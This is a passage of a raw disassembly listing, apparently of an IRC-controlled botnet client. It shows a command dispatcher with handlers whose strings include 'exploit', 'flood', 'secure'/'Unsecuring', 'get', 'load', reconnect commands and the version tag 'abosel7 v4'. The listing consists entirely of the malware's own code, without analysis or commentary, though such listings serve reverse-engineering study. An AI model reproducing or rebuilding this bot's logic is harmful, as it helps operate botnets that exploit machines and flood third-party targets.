		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 2680600h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
